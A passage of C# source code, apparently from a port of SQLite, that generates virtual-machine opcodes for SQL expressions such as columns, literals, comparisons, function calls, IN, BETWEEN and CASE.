SQLITE_N_COLCACHE ; i++ )// p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        int x = p.iReg;\n        if ( x >= iFrom && x < iFrom + nReg )\n        {\n          p.iReg += iTo - iFrom;\n        }\n      }\n    }\n\n    /*\n    ** Generate code to copy content from registers iFrom...iFrom+nReg-1\n    ** over to iTo..iTo+nReg-1.\n    */\n    static void sqlite3ExprCodeCopy( Parse pParse, int iFrom, int iTo, int nReg )\n    {\n      int i;\n      if ( NEVER( iFrom == iTo ) ) return;\n      for ( i = 0 ; i < nReg ; i++ )\n      {\n        sqlite3VdbeAddOp2( pParse.pVdbe, OP_Copy, iFrom + i, iTo + i );\n      }\n    }\n\n    /*\n    ** Return true if any register in the range iFrom..iTo (inclusive)\n    ** is used as part of the column cache.\n    */\n    static int usedAsColumnCache( Parse pParse, int iFrom, int iTo )\n    {\n      int i;\n      yColCache p;\n      for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++)\n      {\n        p = pParse.aColCache[i];\n        int r = p.iReg;\n        if ( r >= iFrom && r <= iTo ) return 1;\n      }\n      return 0;\n    }\n\n\n    /*\n    ** If the last instruction coded is an ephemeral copy of any of\n    ** the registers in the nReg registers beginning with iReg, then\n    ** convert the last instruction from OP_SCopy to OP_Copy.\n    */\n    static void sqlite3ExprHardCopy( Parse pParse, int iReg, int nReg )\n    {\n      VdbeOp pOp;\n      Vdbe v;\n\n      //Debug.Assert( pParse.db.mallocFailed == 0 );\n      v = pParse.pVdbe;\n      Debug.Assert( v != null );\n      pOp = sqlite3VdbeGetOp( v, -1 );\n      Debug.Assert( pOp != null );\n      if ( pOp.opcode == OP_SCopy && pOp.p1 >= iReg && pOp.p1 < iReg + nReg )\n      {\n        pOp.opcode = OP_Copy;\n      }\n    }\n\n    /*\n    ** Generate code to store the value of the iAlias-th alias in register\n    ** target.  The first time this is called, pExpr is evaluated to compute\n    ** the value of the alias.  The value is stored in an auxiliary register\n    ** and the number of that register is returned.  On subsequent calls,\n    ** the register number is returned without generating any code.\n    **\n    ** Note that in order for this to work, code must be generated in the\n    ** same order that it is executed.\n    **\n    ** Aliases are numbered starting with 1.  So iAlias is in the range\n    ** of 1 to pParse.nAlias inclusive.\n    **\n    ** pParse.aAlias[iAlias-1] records the register number where the value\n    ** of the iAlias-th alias is stored.  If zero, that means that the\n    ** alias has not yet been computed.\n    */\n    static int codeAlias( Parse pParse, int iAlias, Expr pExpr, int target )\n    {\n#if FALSE\nsqlite3 db = pParse.db;\nint iReg;\nif ( pParse.nAliasAlloc < pParse.nAlias )\n{\npParse.aAlias = new int[pParse.nAlias]; //sqlite3DbReallocOrFree(db, pParse.aAlias,\n//sizeof(pParse.aAlias[0])*pParse.nAlias );\ntestcase( db.mallocFailed != 0 && pParse.nAliasAlloc > 0 );\nif ( db.mallocFailed != 0 ) return 0;\n//memset(&pParse.aAlias[pParse.nAliasAlloc], 0,\n//       (pParse.nAlias-pParse.nAliasAlloc)*sizeof(pParse.aAlias[0]));\npParse.nAliasAlloc = pParse.nAlias;\n}\nDebug.Assert( iAlias > 0 && iAlias <= pParse.nAlias );\niReg = pParse.aAlias[iAlias - 1];\nif ( iReg == 0 )\n{\nif ( pParse.iCacheLevel != 0 )\n{\niReg = sqlite3ExprCodeTarget( pParse, pExpr, target );\n}\nelse\n{\niReg = ++pParse.nMem;\nsqlite3ExprCode( pParse, pExpr, iReg );\npParse.aAlias[iAlias - 1] = iReg;\n}\n}\nreturn iReg;\n#else\n      UNUSED_PARAMETER( iAlias );\n      return sqlite3ExprCodeTarget( pParse, pExpr, target );\n#endif\n    }\n\n    /*\n    ** Generate code into the current Vdbe to evaluate the given\n    ** expression.  Attempt to store the results in register \"target\".\n    ** Return the register where results are stored.\n    **\n    ** With this routine, there is no guarantee  that results will\n    ** be stored in target.  The result might be stored in some other\n    ** register if it is convenient to do so.  The calling function\n    ** must check the return code and move the results to the desired\n    ** register.\n    */\n    static int sqlite3ExprCodeTarget( Parse pParse, Expr pExpr, int target )\n    {\n      Vdbe v = pParse.pVdbe;    /* The VM under construction */\n      int op;                   /* The opcode being coded */\n      int inReg = target;       /* Results stored in register inReg */\n      int regFree1 = 0;         /* If non-zero free this temporary register */\n      int regFree2 = 0;         /* If non-zero free this temporary register */\n      int r1 = 0, r2 = 0, r3 = 0, r4 = 0;       /* Various register numbers */\n      sqlite3 db = pParse.db; /* The database connection */\n\n      Debug.Assert( target > 0 && target <= pParse.nMem );\n      if ( v == null )\n      {\n        //Debug.Assert( pParse.db.mallocFailed != 0 );\n        return 0;\n      }\n\n      if ( pExpr == null )\n      {\n        op = TK_NULL;\n      }\n      else\n      {\n        op = pExpr.op;\n      }\n      switch ( op )\n      {\n        case TK_AGG_COLUMN:\n          {\n            AggInfo pAggInfo = pExpr.pAggInfo;\n            AggInfo_col pCol = pAggInfo.aCol[pExpr.iAgg];\n            if ( pAggInfo.directMode == 0 )\n            {\n              Debug.Assert( pCol.iMem > 0 );\n              inReg = pCol.iMem;\n              break;\n            }\n            else if ( pAggInfo.useSortingIdx != 0 )\n            {\n              sqlite3VdbeAddOp3( v, OP_Column, pAggInfo.sortingIdx,\n              pCol.iSorterColumn, target );\n              break;\n            }\n            /* Otherwise, fall thru into the TK_COLUMN case */\n          }\n          goto case TK_COLUMN;\n        case TK_COLUMN:\n          {\n            if ( pExpr.iTable < 0 )\n            {\n              /* This only happens when coding check constraints */\n              Debug.Assert( pParse.ckBase > 0 );\n              inReg = pExpr.iColumn + pParse.ckBase;\n            }\n            else\n            {\n              testcase( ( pExpr.flags & EP_AnyAff ) != 0 );\n              inReg = sqlite3ExprCodeGetColumn( pParse, pExpr.pTab,\n              pExpr.iColumn, pExpr.iTable, target,\n              ( pExpr.flags & EP_AnyAff ) != 0 );\n            }\n            break;\n          }\n        case TK_INTEGER:\n          {\n            codeInteger( v, pExpr, false, target );\n            break;\n          }\n        case TK_FLOAT:\n          {\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            codeReal( v, pExpr.u.zToken, false, target );\n            break;\n          }\n        case TK_STRING:\n          {\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            sqlite3VdbeAddOp4( v, OP_String8, 0, target, 0, pExpr.u.zToken, 0 );\n            break;\n          }\n        case TK_NULL:\n          {\n            sqlite3VdbeAddOp2( v, OP_Null, 0, target );\n            break;\n          }\n#if !SQLITE_OMIT_BLOB_LITERAL\n        case TK_BLOB:\n          {\n            int n;\n            string z;\n            byte[] zBlob;\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            Debug.Assert( pExpr.u.zToken[0] == 'x' || pExpr.u.zToken[0] == 'X' );\n            Debug.Assert( pExpr.u.zToken[1] == '\\'' );\n            z = pExpr.u.zToken.Substring( 2 );\n            n = sqlite3Strlen30( z ) - 1;\n            Debug.Assert( z[n] == '\\'' );\n            zBlob = sqlite3HexToBlob( sqlite3VdbeDb( v ), z, n );\n            sqlite3VdbeAddOp4( v, OP_Blob, n / 2, target, 0, zBlob, P4_DYNAMIC );\n            break;\n          }\n#endif\n        case TK_VARIABLE:\n          {\n            VdbeOp pOp;\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            Debug.Assert( pExpr.u.zToken != null );\n            Debug.Assert( pExpr.u.zToken.Length != 0 );\n            if ( pExpr.u.zToken.Length == 1\n            && ( pOp = sqlite3VdbeGetOp( v, -1 ) ).opcode == OP_Variable\n            && pOp.p1 + pOp.p3 == pExpr.iTable\n            && pOp.p2 + pOp.p3 == target\n            && pOp.p4.z == null\n            )\n            {\n              /* If the previous instruction was a copy of the previous unnamed\n              ** parameter into the previous register, then simply increment the\n              ** repeat count on the prior instruction rather than making a new\n              ** instruction.\n              */\n              pOp.p3++;\n            }\n            else\n            {\n              sqlite3VdbeAddOp3( v, OP_Variable, pExpr.iTable, target, 1 );\n              if ( pExpr.u.zToken.Length > 1 )\n              {\n                sqlite3VdbeChangeP4( v, -1, pExpr.u.zToken, 0 );\n              }\n            }\n            break;\n          }\n        case TK_REGISTER:\n          {\n            inReg = pExpr.iTable;\n            break;\n          }\n        case TK_AS:\n          {\n            inReg = codeAlias( pParse, pExpr.iTable, pExpr.pLeft, target );\n            break;\n          }\n#if !SQLITE_OMIT_CAST\n        case TK_CAST:\n          {\n            /* Expressions of the form:   CAST(pLeft AS token) */\n            int aff, to_op;\n            inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target );\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            aff = sqlite3AffinityType( pExpr.u.zToken );\n            to_op = aff - SQLITE_AFF_TEXT + OP_ToText;\n            Debug.Assert( to_op == OP_ToText || aff != SQLITE_AFF_TEXT );\n            Debug.Assert( to_op == OP_ToBlob || aff != SQLITE_AFF_NONE );\n            Debug.Assert( to_op == OP_ToNumeric || aff != SQLITE_AFF_NUMERIC );\n            Debug.Assert( to_op == OP_ToInt || aff != SQLITE_AFF_INTEGER );\n            Debug.Assert( to_op == OP_ToReal || aff != SQLITE_AFF_REAL );\n            testcase( to_op == OP_ToText );\n            testcase( to_op == OP_ToBlob );\n            testcase( to_op == OP_ToNumeric );\n            testcase( to_op == OP_ToInt );\n            testcase( to_op == OP_ToReal );\n            if ( inReg != target )\n            {\n              sqlite3VdbeAddOp2( v, OP_SCopy, inReg, target );\n              inReg = target;\n            }\n            sqlite3VdbeAddOp1( v, to_op, inReg );\n            testcase( usedAsColumnCache( pParse, inReg, inReg ) != 0 );\n            sqlite3ExprCacheAffinityChange( pParse, inReg, 1 );\n            break;\n          }\n#endif // * SQLITE_OMIT_CAST */\n        case TK_LT:\n        case TK_LE:\n        case TK_GT:\n        case TK_GE:\n        case TK_NE:\n        case TK_EQ:\n          {\n            Debug.Assert( TK_LT == OP_Lt );\n            Debug.Assert( TK_LE == OP_Le );\n            Debug.Assert( TK_GT == OP_Gt );\n            Debug.Assert( TK_GE == OP_Ge );\n            Debug.Assert( TK_EQ == OP_Eq );\n            Debug.Assert( TK_NE == OP_Ne );\n            testcase( op == TK_LT );\n            testcase( op == TK_LE );\n            testcase( op == TK_GT );\n            testcase( op == TK_GE );\n            testcase( op == TK_EQ );\n            testcase( op == TK_NE );\n            codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1,\n            pExpr.pRight, ref r2, ref regFree2 );\n            codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op,\n            r1, r2, inReg, SQLITE_STOREP2 );\n            testcase( regFree1 == 0 );\n            testcase( regFree2 == 0 );\n            break;\n          }\n        case TK_AND:\n        case TK_OR:\n        case TK_PLUS:\n        case TK_STAR:\n        case TK_MINUS:\n        case TK_REM:\n        case TK_BITAND:\n        case TK_BITOR:\n        case TK_SLASH:\n        case TK_LSHIFT:\n        case TK_RSHIFT:\n        case TK_CONCAT:\n          {\n            Debug.Assert( TK_AND == OP_And );\n            Debug.Assert( TK_OR == OP_Or );\n            Debug.Assert( TK_PLUS == OP_Add );\n            Debug.Assert( TK_MINUS == OP_Subtract );\n            Debug.Assert( TK_REM == OP_Remainder );\n            Debug.Assert( TK_BITAND == OP_BitAnd );\n            Debug.Assert( TK_BITOR == OP_BitOr );\n            Debug.Assert( TK_SLASH == OP_Divide );\n            Debug.Assert( TK_LSHIFT == OP_ShiftLeft );\n            Debug.Assert( TK_RSHIFT == OP_ShiftRight );\n            Debug.Assert( TK_CONCAT == OP_Concat );\n            testcase( op == TK_AND );\n            testcase( op == TK_OR );\n            testcase( op == TK_PLUS );\n            testcase( op == TK_MINUS );\n            testcase( op == TK_REM );\n            testcase( op == TK_BITAND );\n            testcase( op == TK_BITOR );\n            testcase( op == TK_SLASH );\n            testcase( op == TK_LSHIFT );\n            testcase( op == TK_RSHIFT );\n            testcase( op == TK_CONCAT );\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 );\n            r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 );\n            sqlite3VdbeAddOp3( v, op, r2, r1, target );\n            testcase( regFree1 == 0 );\n            testcase( regFree2 == 0 );\n            break;\n          }\n        case TK_UMINUS:\n          {\n            Expr pLeft = pExpr.pLeft;\n            Debug.Assert( pLeft != null );\n            if ( pLeft.op == TK_FLOAT )\n            {\n              Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n              codeReal( v, pLeft.u.zToken, true, target );\n            }\n            else if ( pLeft.op == TK_INTEGER )\n            {\n              codeInteger( v, pLeft, true, target );\n            }\n            else\n            {\n              regFree1 = r1 = sqlite3GetTempReg( pParse );\n              sqlite3VdbeAddOp2( v, OP_Integer, 0, r1 );\n              r2 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree2 );\n              sqlite3VdbeAddOp3( v, OP_Subtract, r2, r1, target );\n              testcase( regFree2 == 0 );\n            }\n            inReg = target;\n            break;\n          }\n        case TK_BITNOT:\n        case TK_NOT:\n          {\n            Debug.Assert( TK_BITNOT == OP_BitNot );\n            Debug.Assert( TK_NOT == OP_Not );\n            testcase( op == TK_BITNOT );\n            testcase( op == TK_NOT );\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 );\n            testcase( regFree1 == 0 );\n            inReg = target;\n            sqlite3VdbeAddOp2( v, op, r1, inReg );\n            break;\n          }\n        case TK_ISNULL:\n        case TK_NOTNULL:\n          {\n            int addr;\n            Debug.Assert( TK_ISNULL == OP_IsNull );\n            Debug.Assert( TK_NOTNULL == OP_NotNull );\n            testcase( op == TK_ISNULL );\n            testcase( op == TK_NOTNULL );\n            sqlite3VdbeAddOp2( v, OP_Integer, 1, target );\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 );\n            testcase( regFree1 == 0 );\n            addr = sqlite3VdbeAddOp1( v, op, r1 );\n            sqlite3VdbeAddOp2( v, OP_AddImm, target, -1 );\n            sqlite3VdbeJumpHere( v, addr );\n            break;\n          }\n        case TK_AGG_FUNCTION:\n          {\n            AggInfo pInfo = pExpr.pAggInfo;\n            if ( pInfo == null )\n            {\n              Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n              sqlite3ErrorMsg( pParse, \"misuse of aggregate: %s()\", pExpr.u.zToken );\n            }\n            else\n            {\n              inReg = pInfo.aFunc[pExpr.iAgg].iMem;\n            }\n            break;\n          }\n        case TK_CONST_FUNC:\n        case TK_FUNCTION:\n          {\n            ExprList pFarg;        /* List of function arguments */\n            int nFarg;             /* Number of function arguments */\n            FuncDef pDef;          /* The function definition object */\n            int nId;               /* Length of the function name in bytes */\n            string zId;            /* The function name */\n            int constMask = 0;     /* Mask of function arguments that are constant */\n            int i;                 /* Loop counter */\n            u8 enc = ENC( db );    /* The text encoding used by this database */\n            CollSeq pColl = null;  /* A collating sequence */\n\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n            testcase( op == TK_CONST_FUNC );\n            testcase( op == TK_FUNCTION );\n            if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) )\n            {\n              pFarg = null;\n            }\n            else\n            {\n              pFarg = pExpr.x.pList;\n            }\n            nFarg = pFarg != null ? pFarg.nExpr : 0;\n            Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n            zId = pExpr.u.zToken;\n            nId = sqlite3Strlen30( zId );\n            pDef = sqlite3FindFunction( pParse.db, zId, nId, nFarg, enc, 0 );\n            Debug.Assert( pDef != null );\n            if ( pFarg != null )\n            {\n              r1 = sqlite3GetTempRange( pParse, nFarg );\n              sqlite3ExprCodeExprList( pParse, pFarg, r1, true );\n            }\n            else\n            {\n              r1 = 0;\n            }\n#if !SQLITE_OMIT_VIRTUALTABLE\n/* Possibly overload the function if the first argument is\n** a virtual table column.\n**\n** For infix functions (LIKE, GLOB, REGEXP, and MATCH) use the\n** second argument, not the first, as the argument to test to\n** see if it is a column in a virtual table.  This is done because\n** the left operand of infix functions (the operand we want to\n** control overloading) ends up as the second argument to the\n** function.  The expression \"A glob B\" is equivalent to\n** \"glob(B,A).  We want to use the A in \"A glob B\" to test\n** for function overloading.  But we use the B term in \"glob(B,A)\".\n*/\nif ( nFarg >= 2 && ( pExpr.flags & EP_InfixFunc ) )\n{\npDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[1].pExpr );\n}\nelse if ( nFarg > 0 )\n{\npDef = sqlite3VtabOverloadFunction( db, pDef, nFarg, pFarg.a[0].pExpr );\n}\n#endif\n            for ( i = 0 ; i < nFarg ; i++ )\n            {\n              if ( i < 32 && sqlite3ExprIsConstant( pFarg.a[i].pExpr ) != 0 )\n              {\n                constMask |= ( 1 << i );\n              }\n              if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 && null == pColl )\n              {\n                pColl = sqlite3ExprCollSeq( pParse, pFarg.a[i].pExpr );\n              }\n            }\n            if ( ( pDef.flags & SQLITE_FUNC_NEEDCOLL ) != 0 )\n            {\n              if ( null == pColl ) pColl = db.pDfltColl;\n              sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ );\n            }\n            sqlite3VdbeAddOp4( v, OP_Function, constMask, r1, target,\n            pDef, P4_FUNCDEF );\n            sqlite3VdbeChangeP5( v, (u8)nFarg );\n            if ( nFarg != 0 )\n            {\n              sqlite3ReleaseTempRange( pParse, r1, nFarg );\n            }\n            sqlite3ExprCacheAffinityChange( pParse, r1, nFarg );\n            break;\n          }\n#if !SQLITE_OMIT_SUBQUERY\n        case TK_EXISTS:\n        case TK_SELECT:\n          {\n            testcase( op == TK_EXISTS );\n            testcase( op == TK_SELECT );\n            sqlite3CodeSubselect( pParse, pExpr, 0, false );\n            inReg = pExpr.iColumn;\n            break;\n          }\n        case TK_IN:\n          {\n            int rNotFound = 0;\n            int rMayHaveNull = 0;\n            int j2, j3, j4, j5;\n            char affinity;\n            int eType;\n\n            VdbeNoopComment( v, \"begin IN expr r%d\", target );\n            eType = sqlite3FindInIndex( pParse, pExpr, ref rMayHaveNull );\n            if ( rMayHaveNull != 0 )\n            {\n              rNotFound = ++pParse.nMem;\n            }\n\n            /* Figure out the affinity to use to create a key from the results\n            ** of the expression. affinityStr stores a static string suitable for\n            ** P4 of OP_MakeRecord.\n            */\n            affinity = comparisonAffinity( pExpr );\n\n            /* Code the <expr> from \"<expr> IN (...)\". The temporary table\n            ** pExpr.iTable contains the values that make up the (...) set.\n            */\n            sqlite3ExprCachePush( pParse );\n            sqlite3ExprCode( pParse, pExpr.pLeft, target );\n            j2 = sqlite3VdbeAddOp1( v, OP_IsNull, target );\n            if ( eType == IN_INDEX_ROWID )\n            {\n              j3 = sqlite3VdbeAddOp1( v, OP_MustBeInt, target );\n              j4 = sqlite3VdbeAddOp3( v, OP_NotExists, pExpr.iTable, 0, target );\n              sqlite3VdbeAddOp2( v, OP_Integer, 1, target );\n              j5 = sqlite3VdbeAddOp0( v, OP_Goto );\n              sqlite3VdbeJumpHere( v, j3 );\n              sqlite3VdbeJumpHere( v, j4 );\n              sqlite3VdbeAddOp2( v, OP_Integer, 0, target );\n            }\n            else\n            {\n              r2 = regFree2 = sqlite3GetTempReg( pParse );\n\n              /* Create a record and test for set membership. If the set contains\n              ** the value, then jump to the end of the test code. The target\n              ** register still contains the true (1) value written to it earlier.\n              */\n              sqlite3VdbeAddOp4( v, OP_MakeRecord, target, 1, r2, affinity, 1 );\n              sqlite3VdbeAddOp2( v, OP_Integer, 1, target );\n              j5 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, r2 );\n\n              /* If the set membership test fails, then the result of the\n              ** \"x IN (...)\" expression must be either 0 or NULL. If the set\n              ** contains no NULL values, then the result is 0. If the set\n              ** contains one or more NULL values, then the result of the\n              ** expression is also NULL.\n              */\n              if ( rNotFound == 0 )\n              {\n                /* This branch runs if it is known at compile time (now) that\n                ** the set contains no NULL values. This happens as the result\n                ** of a \"NOT NULL\" constraint in the database schema. No need\n                ** to test the data structure at runtime in this case.\n                */\n                sqlite3VdbeAddOp2( v, OP_Integer, 0, target );\n              }\n              else\n              {\n                /* This block populates the rNotFound register with either NULL\n                ** or 0 (an integer value). If the data structure contains one\n                ** or more NULLs, then set rNotFound to NULL. Otherwise, set it\n                ** to 0. If register rMayHaveNull is already set to some value\n                ** other than NULL, then the test has already been run and\n                ** rNotFound is already populated.\n                */\n                byte[] nullRecord = { 0x02, 0x00 };\n                j3 = sqlite3VdbeAddOp1( v, OP_NotNull, rMayHaveNull );\n                sqlite3VdbeAddOp2( v, OP_Null, 0, rNotFound );\n                sqlite3VdbeAddOp4( v, OP_Blob, 2, rMayHaveNull, 0,\n                nullRecord, P4_STATIC );\n                j4 = sqlite3VdbeAddOp3( v, OP_Found, pExpr.iTable, 0, rMayHaveNull );\n                sqlite3VdbeAddOp2( v, OP_Integer, 0, rNotFound );\n                sqlite3VdbeJumpHere( v, j4 );\n                sqlite3VdbeJumpHere( v, j3 );\n\n                /* Copy the value of register rNotFound (which is either NULL or 0)\n                ** into the target register. This will be the result of the\n                ** expression.\n                */\n                sqlite3VdbeAddOp2( v, OP_Copy, rNotFound, target );\n              }\n            }\n            sqlite3VdbeJumpHere( v, j2 );\n            sqlite3VdbeJumpHere( v, j5 );\n            sqlite3ExprCachePop( pParse, 1 );\n            VdbeComment( v, \"end IN expr r%d\", target );\n            break;\n          }\n#endif\n        /*\n**    x BETWEEN y AND z\n**\n** This is equivalent to\n**\n**    x>=y AND x<=z\n**\n** X is stored in pExpr.pLeft.\n** Y is stored in pExpr.x.pList.a[0].pExpr.\n** Z is stored in pExpr.x.pList.a[1].pExpr.\n*/\n        case TK_BETWEEN:\n          {\n            Expr pLeft = pExpr.pLeft;\n            ExprList_item pLItem = pExpr.x.pList.a[0];\n            Expr pRight = pLItem.pExpr;\n            codeCompareOperands( pParse, pLeft, ref r1, ref regFree1,\n            pRight, ref r2, ref regFree2 );\n\n            testcase( regFree1 == 0 );\n            testcase( regFree2 == 0 );\n            r3 = sqlite3GetTempReg( pParse );\n            r4 = sqlite3GetTempReg( pParse );\n            codeCompare( pParse, pLeft, pRight, OP_Ge,\n            r1, r2, r3, SQLITE_STOREP2 );\n            pLItem = pExpr.x.pList.a[1];// pLItem++;\n            pRight = pLItem.pExpr;\n            sqlite3ReleaseTempReg( pParse, regFree2 );\n            r2 = sqlite3ExprCodeTemp( pParse, pRight, ref regFree2 );\n            testcase( regFree2 == 0 );\n            codeCompare( pParse, pLeft, pRight, OP_Le, r1, r2, r4, SQLITE_STOREP2 );\n            sqlite3VdbeAddOp3( v, OP_And, r3, r4, target );\n            sqlite3ReleaseTempReg( pParse, r3 );\n            sqlite3ReleaseTempReg( pParse, r4 );\n            break;\n          }\n        case TK_UPLUS:\n          {\n            inReg = sqlite3ExprCodeTarget( pParse, pExpr.pLeft, target );\n            break;\n          }\n\n        /*\n        ** Form A:\n        **   CASE x WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END\n        **\n        ** Form B:\n        **   CASE WHEN e1 THEN r1 WHEN e2 THEN r2 ... WHEN eN THEN rN ELSE y END\n        **\n        ** Form A is can be transformed into the equivalent form B as follows:\n        **   CASE WHEN x=e1 THEN r1 WHEN x=e2 THEN r2 ...\n        **        WHEN x=eN THEN rN ELSE y END\n        **\n        ** X (if it exists) is in pExpr.pLeft.\n        ** Y is in pExpr.pRight.  The Y is also optional.  If there is no\n        ** ELSE clause and no other term matches, then the result of the\n        ** exprssion is NULL.\n        ** Ei is in pExpr.x.pList.a[i*2] and Ri is pExpr.x.pList.a[i*2+1].\n        **\n        ** The result of the expression is the Ri for the first matching Ei,\n        ** or if there is no matching Ei, the ELSE term Y, or if there is\n        ** no ELSE term, NULL.\n        */\n        default: Debug.Assert( op == TK_CASE );\n          {\n            int endLabel;                     /* GOTO label for end of CASE stmt */\n            int nextCase;                     /* GOTO label for next WHEN clause */\n            int nExpr;                        /* 2x number of WHEN terms */\n            int i;                            /* Loop counter */\n            ExprList pEList;                  /* List of WHEN terms */\n            ExprList_item[] aListelem;        /* Array of WHEN terms */\n            Expr opCompare = new Expr();      /* The X==Ei expression */\n            Expr cacheX;                      /* Cached expression X */\n            Expr pX;                          /* The X expression */\n            Expr pTest = null;                /* X==Ei (form A) or just Ei (form B) */\n#if !NDEBUG\n            int iCacheLevel = pParse.iCacheLevel;\n            //VVA_ONLY( int iCacheLevel = pParse.iCacheLevel; )\n#endif\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) && pExpr.x.pList != null );\n            Debug.Assert( ( pExpr.x.pList.nExpr % 2 ) == 0 );\n            Debug.Assert( pExpr.x.pList.nExpr > 0 );\n            pEList = pExpr.x.pList;\n            aListelem = pEList.a;\n            nExpr = pEList.nExpr;\n            endLabel = sqlite3VdbeMakeLabel( v );\n            if ( ( pX = pExpr.pLeft ) != null )\n            {\n              cacheX = pX;\n              testcase( pX.op == TK_COLUMN );\n              testcase( pX.op == TK_REGISTER );\n              cacheX.iTable = sqlite3ExprCodeTemp( pParse, pX, ref regFree1 );\n              testcase( regFree1 == 0 );\n              cacheX.op = TK_REGISTER;\n              opCompare.op = TK_EQ;\n              opCompare.pLeft = cacheX;\n              pTest = opCompare;\n            }\n            for ( i = 0 ; i < nExpr ; i = i + 2 )\n            {\n              sqlite3ExprCachePush( pParse );\n              if ( pX != null )\n              {\n                Debug.Assert( pTest != null );\n                opCompare.pRight = aListelem[i].pExpr;\n              }\n              else\n              {\n                pTest = aListelem[i].pExpr;\n              }\n              nextCase = sqlite3VdbeMakeLabel( v );\n              testcase( pTest.op == TK_COLUMN );\n              sqlite3ExprIfFalse( pParse, pTest, nextCase, SQLITE_JUMPIFNULL );\n              testcase( aListelem[i + 1].pExpr.op == TK_COLUMN );\n              testcase( aListelem[i + 1].pExpr.op == TK_REGISTER );\n              sqlite3ExprCode( pParse, aListelem[i + 1].pExpr, target );\n              sqlite3VdbeAddOp2( v, OP_Goto, 0, endLabel );\n              sqlite3ExprCachePop( pParse, 1 );\n              sqlite3VdbeResolveLabel( v, nextCase );\n            }\n            if ( pExpr.pRight != null )\n            {\n              sqlite3ExprCachePush( pParse );\n              sqlite3ExprCode( pParse, pExpr.pRight, target );\n              sqlite3ExprCachePop( pParse, 1 );\n            }\n            else\n            {\n              sqlite3VdbeAddOp2( v, OP_Null, 0, target );\n            }\n#if !NDEBUG\n            Debug.Assert( /* db.mallocFailed != 0 || */ pParse.nErr > 0\n            || pParse.iCacheLevel == iCacheLevel );\n#endif\n            sqlite3VdbeResolveLabel( v, endLabel );\n            break;\n          }\n#if !SQLITE_OMIT_TRIGGER\n        case TK_RAISE:\n          {\n            if ( pParse.trigStack == null )\n            {\n              sqlite3ErrorMsg( pParse,\n              \"RAISE() may only be used within a trigger-program\" );\n              return 0;\n            }\n            if ( pExpr.affinity != OE_Ignore )\n            {\n              Debug.Assert( pExpr.affinity == OE_Rollback ||\n              pExpr.affinity == OE_Abort ||\n              pExpr.affinity == OE_Fail );\n              Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n              sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, pExpr.affinity, 0,\n              Encoding.UTF8.GetBytes( pExpr.u.zToken ), 0 );\n            }\n            else\n            {\n              Debug.Assert( pExpr.affinity == OE_Ignore );\n              sqlite3VdbeAddOp2( v, OP_ContextPop, 0, 0 );\n              sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.trigStack.ignoreJump );\n#if SQLITE_DEBUG\n              VdbeComment( v, \"raise(IGNORE)\" );\n#endif\n            }\n            break;\n          }\n#endif\n      }\n      sqlite3ReleaseTempReg( pParse, regFree1 );\n      sqlite3ReleaseTempReg( pParse, regFree2 );\n      return inReg;\n    }\n\n    /*\n    ** Generate code to evaluate an expression and store the results\n    ** into a register.  Return the register number where the results\n    ** are stored.\n    **\n    ** If the register is a temporary register that can be deallocated,\n    ** then write its number into pReg.  If the result register is not\n    ** a temporary, then set pReg to zero.\n    */\n    static int sqlite3ExprCodeTemp( Parse pParse, Expr pExpr, ref int pReg )\n    {\n      int r1 = sqlite3GetTempReg( pParse );\n      int r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 );\n      if ( r2 == r1 )\n      {\n        pReg = r1;\n      }\n      else\n      {\n        sqlite3ReleaseTempReg( pParse, r1 );\n        pReg = 0;\n      }\n      return r2;\n    }\n\n    /*\n    ** Generate code that will evaluate expression pExpr and store the\n    ** results in register target.  The results are guaranteed to appear\n    ** in register target.\n    */\n    static int sqlite3ExprCode( Parse pParse, Expr pExpr, int target )\n    {\n      int inReg;\n\n      Debug.Assert( target > 0 && target <= pParse.nMem );\n      inReg = sqlite3ExprCodeTarget( pParse, pExpr, target );\n      Debug.Assert( pParse.pVdbe != null /* || pParse.db.mallocFailed != 0 */ );\n      if ( inReg != target && pParse.pVdbe != null )\n      {\n        sqlite3VdbeAddOp2( pParse.pVdbe, OP_SCopy, inReg, target );\n      }\n      return target;\n    }\n\n    /*\n    ** Generate code that evalutes the given expression and puts the result\n    ** in register target.\n    **\n    ** Also make a copy of the expression results into another \"cache\" register\n    ** and modify the expression so that the next time it is evaluated,\n    ** the result is a copy of the cache register.\n    **\n    ** This routine is used for expressions that are used multiple\n    ** times.  They are evaluated once and the results of the expression\n    ** are reused.\n    */\n    static int sqlite3ExprCodeAndCache( Parse pParse, Expr pExpr, int target )\n    {\n      Vdbe v = pParse.pVdbe;\n      int inReg;\n      inReg = sqlite3ExprCode( pParse, pExpr, target );\n      Debug.Assert( target > 0 );\n      /* This routine is called for terms to INSERT or UPDATE.  And the only\n      ** other place where expressions can be converted into 